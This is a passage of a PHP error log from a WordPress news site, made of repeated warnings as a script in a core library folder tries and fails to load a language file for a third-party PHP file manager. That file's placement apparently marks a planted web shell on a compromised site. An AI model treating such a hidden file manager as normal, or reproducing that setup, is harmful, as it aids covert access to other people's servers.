suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:20:53 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:20:53 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:20:55 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:20:55 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:20:56 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:20:56 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:20:57 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:20:57 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:20:58 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:20:58 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:20:59 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:20:59 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:21:01 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:21:01 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:21:02 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:21:02 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:21:03 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:21:03 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:21:10 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:21:10 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:21:15 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:21:16 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:21:18 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:21:18 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:21:19 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:21:19 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:27:26 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:27:27 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:33:05 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:33:06 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:36:30 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:36:32 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:46:07 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:46:08 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:48:42 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:48:42 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:51:43 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:51:44 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:52:12 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:52:12 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:52:58 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:52:59 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:53:19 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:53:19 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:53:37 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:53:37 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:54:08 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:54:08 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:55:41 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:55:41 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:56:01 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:56:01 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:57:00 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:57:00 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:57:05 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:57:05 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:58:46 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:58:46 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:58:47 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:58:47 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:58:55 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 08:58:55 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:05:10 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:05:10 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:05:20 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:05:20 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:05:57 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:05:57 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:05:57 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 218 [30-Aug-2025 09:05:57 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 219 [30-Aug-2025 09:05:57 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 220 [30-Aug-2025 09:05:57 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 221 [30-Aug-2025 09:05:57 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 222 [30-Aug-2025 09:05:57 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 223 [30-Aug-2025 09:06:25 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:06:25 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:06:26 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:06:26 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:06:28 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:06:28 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:06:33 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:06:33 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:06:34 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:06:34 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:06:35 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:06:35 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:06:46 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:06:47 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:06:47 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:06:47 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:06:48 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:06:48 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:06:50 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:06:50 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:06:53 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:06:54 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:06:56 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:06:56 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:06:57 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:06:57 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:06:58 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:06:58 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:07:00 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:07:00 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:07:01 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:07:01 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:07:02 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:07:02 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:07:03 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:07:04 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:07:22 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:07:23 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:07:34 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:07:34 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:07:37 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:07:37 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:07:40 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:07:41 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:07:42 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:07:42 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 [30-Aug-2025 09:07:43 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/ova/index.php on line 91 